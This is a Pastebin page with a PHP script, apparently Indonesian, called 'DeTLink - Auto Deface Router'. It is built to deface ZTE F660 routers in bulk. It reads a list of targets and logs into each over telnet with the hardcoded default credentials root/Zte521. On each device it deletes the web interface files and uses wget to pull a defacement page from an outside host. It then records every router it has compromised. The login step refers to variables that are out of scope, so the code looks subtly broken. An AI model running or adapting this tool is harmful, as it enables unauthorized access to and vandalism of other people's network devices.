Advertisement
bug7sec

DeTLink - Auto Deface Router

Aug 10th, 2016
680
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.90 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. /**
  4. * Create @ Shor7cut - 10/08/2016 2:31 (WIB)
  5. * Name    : DeTLink - Auto Deface Router
  6. * Author  :  Shor7cut
  7. * Link    :  http://facebook.com/bug7sec
  8. * --- List Router ----
  9. * -  F660
  10. */
  11.  
  12. $DeTLink = new DeTLink;
  13. $DeTLink->fileDeface("http:// ? "); // add meta tag : <meta name="author" content="Nickname">
  14. $DeTLink->fileTarget("target.txt");
  15. $DeTLink->output("didepesss.txt");
  16. $DeTLink->nickname("Shor7cut");
  17. $DeTLink->user("root");
  18. $DeTLink->pass("Zte521");
  19. $DeTLink->port("23");
  20. $DeTLink->timeout("10");
  21. $DeTLink->delimit("\r\n");
  22. $DeTLink->run();
  23.  
  24. class DeTLink
  25. {
  26.   var $fileDeface;var $fileTarget;var $host;
  27.   var $user;var $pass;var $port;var $delimit;
  28.   var $timeout; var $nickname;
  29.   public function fileDeface($value){return $this->fileDeface = $value;}
  30.   public function fileTarget($value){return $this->fileTarget = $value;}
  31.   public function host($value){return $this->host = $value;}
  32.   public function user($value){return $this->user = $value;}
  33.   public function pass($value){return $this->pass = $value;}
  34.   public function port($value){return $this->port = $value;}
  35.   public function delimit($value){return $this->delimit = $value;}
  36.   public function timeout($value){return $this->timeout = $value;}
  37.   public function nickname($value){return $this->nickname = $value;}
  38.   public function output($value){return $this->output = $value;}
  39.  
  40.   public function pesan($value){
  41.     echo "[".date("H:i:s")."] ".$value."\r\n";
  42.   }
  43.   public function exploit(){
  44.     unlink("cookie.txt");
  45.     $this->pesan("-> Mengirim request ke ".$this->host);
  46.     $shc = fsockopen($this->host, $this->port , $errno, $errstr, $this->timeout);
  47.     if(! $shc ){
  48.       $this->pesan("-> Request telah di tolak");
  49.       return false;
  50.     }
  51.     $this->pesan("-> Mengirim request login");
  52.     fputs($shc, "$user\r\n");
  53.     fputs($shc, "$pass\r\n");
  54.     $this->pesan("-> Mengirim request perintah : cd home/httpd");
  55.     fputs($shc, "cd home/httpd\r\n");
  56.     $this->pesan("-> Mengirim request perintah : rm -rf *.gch");
  57.     fputs($shc,"rm -rf login.gc template.gch setlang.gch\r\n");
  58.     $this->pesan("-> Mengirim request perintah : wget");
  59.     fputs($shc,"wget -O login.gch ".$this->fileDeface."\r\n");
  60.     fputs($shc,"wget -O template.gch ".$this->fileDeface."\r\n");
  61.     fputs($shc,"wget -O setlang.gch ".$this->fileDeface."\r\n");
  62.     fclose($shc);
  63.     $this->pesan("-> Melakukan pemeriksaan pada ".$this->host);
  64.   }
  65.  
  66.   public function ckDeface(){
  67.     $ch = curl_init($this->host);
  68.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  69.     curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  70.     curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  71.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
  72.     curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  73.     curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  74.     curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  75.     curl_setopt ($ch, CURLOPT_COOKIEJAR,getcwd().'/cookie.txt');
  76.     curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');
  77.     $data = curl_exec ($ch);
  78.     $re = "/<meta name=\"author\" content=\"(.*?)\">/m";
  79.     preg_match_all($re, $data, $matches);
  80.     if($matches[1][0]){
  81.       $myfile = fopen($this->output, "w+") or die("Unable to open file!");
  82.       fwrite($myfile, $this->host."\r\n");
  83.       fclose($myfile);
  84.       $this->pesan("-> Penyerangan pada ".$this->host." telah berhasil");
  85.     }else{
  86.       $this->pesan("-> Penyerangan pada ".$this->host." tidak berhasil");
  87.     }
  88.   }
  89.  
  90.   public function run(){
  91.     $files = file_get_contents($this->fileTarget);
  92.     $file = explode($this->delimit, $files );
  93.     $is = 1;
  94.     $ix = count($file);
  95.     foreach ($file as $key => $value) {
  96.         $this->pesan("-> Melakukan pengecekan ".$is."/".$ix." target");
  97.         $this->host = $value;
  98.         $this->exploit();
  99.         $this->ckDeface();
  100.         echo "\r\n";
  101.         $is++;
  102.     }
  103.   }
  104. }
  105. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement